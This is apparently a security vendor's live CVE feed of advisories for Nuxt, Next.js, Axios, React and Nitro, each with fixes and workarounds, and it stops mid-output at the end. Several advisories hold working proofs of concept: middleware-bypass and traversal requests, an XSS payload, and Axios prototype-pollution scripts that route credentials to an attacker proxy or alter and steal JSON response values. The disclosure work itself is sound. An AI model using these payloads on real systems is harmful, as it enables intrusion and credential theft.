Threat Intelligence

Live CVE feed

136 threats tracked across 6 launch stacks — sourced from NVD, GHSA, CISA KEV, and OSV.

136threats · All threats· page 1/7
Get guardrails →

Nuxt's route middleware is not enforced when rendering `.server.vue` pages via `/__nuxt_island/page_*`

Summary When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page_<routeName> and exposed via the /__nuxt_island/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run. For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /__nuxt_island/page_<routeName>_<anyhash> directly and receiving the server-rendered HTML. Affected configurations All three conditions must hold for an application to be vulnerable: 1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3). 2. The application defines one or more .server.vue files under pages/, registering them as routed pages. 3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer. Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation. Details Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page_ prefix, making them addressable through /__nuxt_island/page_<routeName>_<hashId>. Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set. The two paths interact so that route middleware declared on the source page never runs. Proof of concept Given a page app/pages/secret.server.vue: ``vue <script setup lang="ts"> definePageMeta({ middleware: 'auth' }) </script> <template> <h1>SECRET DATA</h1> </template> ` with middleware/auth.ts blocking unauthenticated access: `bash Direct page request: blocked by middleware curl -i http://localhost:3000/secret -> 403 / redirect, depending on the middleware Island request: middleware did not run before this fix curl -i 'http://localhost:3000/__nuxt_island/page_secret_anyhash' -> 200 OK, body includes <h1>SECRET DATA</h1> ` Patches Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page_ islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page_<name> does not match the route component the URL resolves to. Non-page island components are unaffected - they continue to render without route middleware, by design. Workarounds If you cannot upgrade immediately: Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory. Disable experimental.componentIslands if your app does not use the feature. If your app must keep route-middleware-only auth, gate the /__nuxt_island/page_*` URL prefix at your reverse proxy or in a server middleware.

OWASP A01OWASP LLM06OWASP WEB
Get guardrail →

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object) CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') CVSS 3.1 Score: 9.4 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | Why This Bypasses mergeConfig The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means: 1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy() This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it. Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: ``javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; ` 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: `javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); ` 3. The Execution At http.js:668-670: `javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); ` setProxy() at http.js:191-239 then: `javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ` 4. The Impact (Full MITM) The attacker's proxy server receives: `http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, / ` The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: Sees every request URL, header, and body Modifies every response (inject malicious data, change auth results) Logs all API keys, session tokens, and passwords Operates as an invisible proxy — the developer has no indication 5. Verified PoC Code `javascript import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); ` Verified PoC Output ` [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget) ` Impact Analysis Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector. Why This Is More Severe Than transformResponse (axios_26) | Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely | Recommended Fix Fix 1: Use hasOwnProperty when reading security-sensitive config properties `javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location); ` Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty Properties not in defaults that are read by http.js and have security impact: config.proxy — MITM config.socketPath — Unix socket SSRF config.transport — request hijack config.lookup — DNS hijack config.beforeRedirect — redirect manipulation config.httpAgent / config.httpsAgent — agent injection All should use hasOwnProperty checks. Fix 3: Use null-prototype object for merged config `javascript // In lib/core/mergeConfig.js const config = Object.create(null); `` Resources CWE-1321: Prototype Pollution CWE-441: Unintended Proxy GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP WEB
Get guardrail →

Nuxt: Reflected XSS in `navigateTo()` external redirect

Summary navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin. This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >. Impact Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires. Details In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL: ``ts const encodedLoc = location.replace(/"/g, '%22') nuxtApp.ssrContext!['~renderResponse'] = { status: sanitizeStatusCode(options?.redirectCode || 302, 302), body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>, headers: { location: encodeURL(location, isExternalHost) }, } ` The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause. Proof of concept Global middleware that forwards a query parameter to navigateTo: `ts // middleware/redirect.global.ts export default defineNuxtRouteMiddleware((to) => { const next = to.query.next as string | undefined if (next) { return navigateTo(next, { external: true }) } }) ` Request: ` GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)> ` Response body: `html <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html> ` The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect occurs. Patches Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body Workarounds If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or >` (a normalised URL with these characters is malformed and safe to refuse).

Next.js has a Middleware / Proxy bypass in App Router applications via segment-prefetch routes - Incomplete Fix Follow-Up

Impact It was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. Refer to CVE-2026-44575 for further details. References CVE CVE-2026-44575

Next.js vulnerable to Denial of Service via connection exhaustion in applications using Cache Components

Impact Applications using Partial Prerendering through the Cache Components feature can be vulnerable to connection exhaustion through crafted POST requests to a server action. In affected configurations, a malicious request can trigger a request-body handling deadlock that leaves connections open for an extended period, consuming file descriptors and server capacity until legitimate users are denied service. Fix We now treat the header used for resuming Partial Prerendered requests as an internal-only header and strip it from untrusted incoming requests. This header should never be accepted directly from external clients. Workarounds If you cannot upgrade immediately, block requests that would be handled by Next.js if they contain the Next-Resume header at the edge.

Next.js vulnerable to cache poisoning in React Server Component responses

Impact Applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML. Fix We now validate and interpret RSC request headers consistently across request classification and rendering, and we enforce the intended cache-busting behavior so RSC payloads are not unexpectedly served from the original URL. Workarounds If you cannot upgrade immediately, ensure your CDN or reverse proxy keys on the relevant RSC request headers and honors Vary, or disable shared caching for affected App Router and RSC responses.

Next.js has a Middleware / Proxy bypass in App Router applications via segment-prefetch routes

Impact App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check. Fix We now include App Router transport variants when generating middleware matchers, so middleware protections are applied consistently to those requests as well as to the normal page URL. Workarounds If you cannot upgrade immediately, enforce authorization in the underlying route or page logic instead of relying solely on middleware.

Next.js has a Middleware / Proxy bypass through dynamic route parameter injection

Impact Applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check. Fix We now only honor internal route-parameter normalization in trusted routing flows and ignore externally supplied parameter encodings that should never have been accepted from ordinary requests. Workarounds If you cannot upgrade immediately, enforce authorization in route or page logic instead of relying solely on middleware path matching.

Facebook React has a Denial of Service Vulnerability in React Server Components

Impact A denial of service vulnerability could be triggered by sending specially crafted HTTP requests to server function endpoints, this could lead to out-of-memory exceptions or excessive CPU usage. We recommend updating immediately. The vulnerability exists in versions 19.0.0 through 19.0.5, 19.1.0 through 19.1.6, and 19.2.0 through 19.2.5 of: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack Patches Fixes were back ported to versions 19.0.6, 19.1.7, and 19.2.6. If you are using any of the above packages please upgrade to any of the fixed versions immediately. If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability. References See the blog post for more information and upgrade instructions.

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules

A redirect route rule like: ``ts routeRules: { "/legacy/": { redirect: "/" } } ` is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit: ` GET /legacy//evil.com ` Nitro stripped /legacy from the matched pathname and joined the remainder against the rule's target. The remainder was //evil.com, which the join preserved verbatim, so Nitro responded with Location: //evil.com. Browsers resolve //evil.com as a protocol-relative URL against the current scheme, sending the user to https://evil.com. Are you affected? Users may be affected if all of the following are true: 1. Their project uses Nitro's routeRules with a redirect entry. 2. The target uses a / wildcard suffix to forward sub-paths (e.g. redirect: "/", redirect: "/new/", proxy: { to: "http://upstream/" }). 3. The redirect rule is _not_ handled natively at the CDN layer. The vercel, netlify, cloudflare-pages, and edgeone presets translate routeRules.redirect into platform config (vercel.json, _redirects, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable. Impact Open redirect from any host serving Nitro with a wildcard redirect rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it. Patched versions Upgrade to one of: 2.13.4 or later (or upgrade lockfile with latest ufo 1.6.4+) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4236) The fix has two parts: 1. ufo is bumped to ^1.6.4 (unjs/ufo@5cd9e67), which collapses any run of leading slashes to a single / inside withoutBase. This covers the typical "/scope/" rule. 2. The Nitro runtime additionally collapses leading // before joining when the rule path itself is / (in rare case which case withoutBase is never called and the raw pathname flows straight into joinURL("", …)`).

Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`

A proxy route rule like: ``ts routeRules: { "/api/orders/": { proxy: { to: "http://upstream/orders/" } } } ` is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit: ` GET /api/orders/..%2fadmin%2fconfig.json ` Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope. Are you affected? Users may be affected if ALL of the following are true: 1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }). 2. The proxy to value uses a / wildcard suffix to forward sub-paths. 3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup. 4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel) Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction. Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986. Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes). Impact Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off. Patched versions Upgrade to one of: 2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222) The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed. > Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**. Credits Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.

OWASP A01OWASP WEB
Get guardrail →

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: `` if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } ` Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type. Attack chain: 1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited. PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) ` const http = require('http'); const axios = require('axios'); let receivedBody = ''; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); }); server.listen(0, '127.0.0.1', async () => { const port = server.address().port; class SpecFormData { constructor() { this._entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this._entries.push([name, value]); } [Symbol.iterator]() { return this._entries[Symbol.iterator](); } entries() { return this._entries[Symbol.iterator](); } } const fd = new SpecFormData(); fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function*() { yield Buffer.from('MALICIOUS PAYLOAD'); } }); await axios.post(http://127.0.0.1:${port}/upload, fd); if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOT_VULNERABLE]'); } server.close(); }); ` Steps to reproduce: 1. npm install axios 2. Save the above as poc_axios_crlf.js 3. Run node poc_axios_crlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts. Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue. Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. ` const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF}; ``

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver) CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes CVSS 3.1 Score: 9.1 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured | | Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent | Comparison with All Known Axios PP Gadgets | Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) | |---|---|---|---|---| | PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver | | Fixed by 1.15.0? | Yes | No | No | No | | Constraints | N/A (fixed) | Must return true | None | None | | Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification | | Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible | | Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair | | Validated? | N/A | assertOptions validates | Not validated | Not validated | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed. Root Cause Analysis The Attack Path `` Object.prototype.parseReviver = function(key, value) { / malicious / } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response ` Why parseReviver Bypasses ALL Existing Protections 1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property. 2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated. 3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set. 4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch. Vulnerable Code File: lib/defaults/index.js, line 124 `javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ], ` Proof of Concept `javascript import http from 'http'; import axios from './index.js'; // Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port; // === Before Pollution === const before = await axios.get(http://127.0.0.1:${port}/api/me); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...} // === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged }; // === After Pollution — same code, same URL === const after = await axios.get(http://127.0.0.1:${port}/api/me); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...} console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"} delete Object.prototype.parseReviver; server.close(); ` Verified PoC Output ` [1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer [2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier [3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin 